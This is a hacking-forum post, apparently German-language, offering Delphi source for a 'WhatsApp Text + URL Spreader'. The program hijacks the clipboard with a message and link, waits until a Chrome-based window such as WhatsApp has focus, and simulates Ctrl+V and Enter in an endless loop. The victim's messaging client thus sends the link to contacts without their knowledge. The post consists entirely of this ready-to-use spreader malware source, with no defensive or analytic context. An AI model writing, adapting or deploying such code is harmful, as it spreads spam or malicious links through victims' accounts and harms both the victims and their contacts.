Themabewertung:
  • 0 Bewertung(en) - 0 im Durchschnitt
  • 1
  • 2
  • 3
  • 4
  • 5
  [Delphi] Whatsapp Text + URL Spreader
#1
Code:
{$APPTYPE CONSOLE}

Program WhatsappSpreader;

uses
 Windows,SysUtils, Messages;

{$R *.res}

Procedure ModifyClipboardData(MyString : String);
VAR
DataHan : THandle;
P : Pointer;
Begin
      OpenClipboard(0);
      EmptyClipboard;
      DataHan := GlobalAlloc(GHND, Length(MyString)+ 1);
      P := GlobalLock(DataHan);
      StrPCopy(P, MyString);
      GlobalUnlock(DataHan);
      Windows.SetClipboardData(CF_TEXT, DataHan);
      CloseClipboard;
End;

VAR
 TInfo : TAGGUITHREADINFO;
 Buffer : String;
 iDelay : Integer;
 sMessage :String;

 szFilePath : String;
 szMessage,szURL: string;
begin

   szMessage := 'Hello';
   szURL :='h t t p s : / / w w w hackforums.net'

   sMessage := szMessage + ' -> ' + szURL;

   iDelay   := 100;
   IF iDelay=0 Then iDelay:=10000;
   IF lstrlenA(PAnsiChar(sMessage))<1 then ExitProcess(0);
   While True Do
   Begin
         ModifyClipboardData(sMessage);
         ZeroMemory(@TInfo,SizeOf(TInfo));
         TInfo.cbSize := SizeOf(TAGGUITHREADINFO);
         Windows.GetGUIThreadInfo(0,TInfo);
         SetLength(Buffer, 255);
         GetClassNameA(TInfo.hwndFocus, PAnsiChar(Buffer), 255);

         Buffer := String(Buffer);


         IF Copy(Buffer,1,Length('Chrome_WidgetWin_1'))='Chrome_WidgetWin_1' then
         Begin
             keybd_event(VK_CONTROL,0,0,0);
             keybd_event(ord('V'),0,0,0);
             keybd_event(ord('V'),0,KEYEVENTF_KEYUP,0);
             keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
             keybd_event(VK_RETURN,0,0,0);
             keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0);
             iDelay := 10000;
         end;
         Sleep(iDelay);
           
   End;
end.
Zitieren


Gehe zu:


Benutzer, die gerade dieses Thema anschauen: 1 Gast/Gäste
www.D3n1s.Net